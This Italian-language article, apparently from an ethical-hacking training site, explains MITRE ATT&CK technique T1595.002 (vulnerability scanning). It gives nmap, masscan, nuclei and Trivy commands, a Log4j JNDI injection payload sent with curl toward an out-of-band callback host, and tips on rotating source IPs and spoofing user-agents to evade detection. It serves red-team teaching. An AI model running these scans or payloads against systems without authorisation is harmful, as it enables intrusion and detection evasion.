Scansione Vulnerabilità: Vulnerability Scanning (T1595.002)

La tecnica T1595.002 - Vulnerability Scanning appartiene alla tattica TA0043 (Reconnaissance) del framework MITRE ATT&CK e rappresenta una delle attività più diffuse nella fase iniziale del ciclo di attacco. Gli avversari eseguono scansioni mirate contro l'infrastruttura esposta della vittima per identificare software vulnerabili, versioni obsolete e configurazioni deboli che possano essere sfruttate in fasi successive come l'Initial Access tramite Exploit Public-Facing Application.

Le scansioni raccolgono tipicamente banner di servizio, porte in ascolto e altri artefatti di rete che permettono di correlare la versione del software con exploit noti o zero-day. Un elemento centrale è che questa attività si svolge al di fuori del perimetro difensivo tradizionale: il traffico origina dall'infrastruttura dell'attaccante e colpisce interfacce pubbliche, rendendo la prevenzione classica poco efficace.

I numeri del panorama MITRE sono significativi: 13 gruppi APT documentati che vanno da attori state-sponsored russi come APT28 e Sandworm Team fino a gruppi cinesi come APT41 e Aquatic Panda, oltre a 2 campagne rilevanti tra cui Cutting Edge (dicembre 2023) contro appliance Ivanti Connect Secure e SharePoint ToolShell Exploitation (luglio 2025). La tecnica è stata utilizzata sistematicamente per mappare l'esposizione di Log4j (CVE-2021-44228), ProxyShell, Fortinet SSL VPN (CVE-2018-13379) e le vulnerabilità on-premises Exchange, dimostrando la capacità degli avversari di industrializzare il processo di weaponizzazione in poche ore dalla pubblicazione di una CVE.

Durante un ingaggio red team autorizzato la scansione di vulnerabilità si articola su più livelli, dalla ricognizione di superficie fino al fingerprinting applicativo profondo. Il punto di partenza è la mappatura delle porte con Nmap (open source), che rimane lo standard de facto:

nmap -sS -sV -p- --min-rate 1000 -oA target_full target.example.com

Per scansioni ad alto volume su range /16 o superiori, MASSCAN (open source) — lo stesso tool usato dal gruppo Ember Bear secondo i dati MITRE — offre velocità elevatissime grazie allo stack TCP userland:

masscan -p1-65535 10.0.0.0/8 --rate 100000 -oL massout.txt

Una volta identificati i servizi esposti, il fingerprinting delle versioni si affina con script NSE dedicati (nmap --script vuln,http-enum -p 443 target). Per la parte web, gli operatori replicano ciò che gruppi come APT41 e Winter Vivern hanno documentato utilizzando Acunetix (a pagamento) su istanze remote. In ambito open source le alternative professionali includono Nuclei (open source) di ProjectDiscovery, particolarmente efficace per template-based scanning:

nuclei -u https://target.example.com -t cves/ -severity critical,high

Per identificare istanze vulnerabili a Log4j (CVE-2021-44228) — vettore utilizzato da Magic Hound e Aquatic Panda — la tecnica documentata prevede l'uso di Interactsh (open source), lo stesso strumento impiegato nella campagna Cutting Edge contro Ivanti. Il flusso prevede l'iniezione di payload JNDI in header HTTP e la verifica delle callback DNS out-of-band:

interactsh-client -v

Gli header vengono poi inviati con curl (curl -H "User-Agent: ${jndi:ldap://.oast.site/x}" https://target), monitorando le interazioni sul server Interactsh.

Per la scansione autenticata di infrastrutture enterprise OpenVAS/Greenbone Community Edition (open source) e Nessus Essentials (freemium, limitato a 16 IP) restano riferimenti operativi. In ambiente cloud e container — pattern seguito da TeamTNT contro Docker API — strumenti come Trivy (open source) e kube-hunter (open source) permettono di identificare misconfiguration:

trivy image nginx:1.14

La regola d'oro in laboratorio: variare source IP tramite pool di VPS, distanziare le probe temporalmente e simulare user-agent legittimi per validare la maturità dei controlli difensivi lato blue team.

Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?

Accedi alle lezioni gratuite e segui il percorso corretto fin dal primo passo

TEST GRATUITO
2 minuti · 7 domande Che professionista cyber sei? Scopri il profilo più vicino al tuo modo di pensare e inizia dal percorso giusto.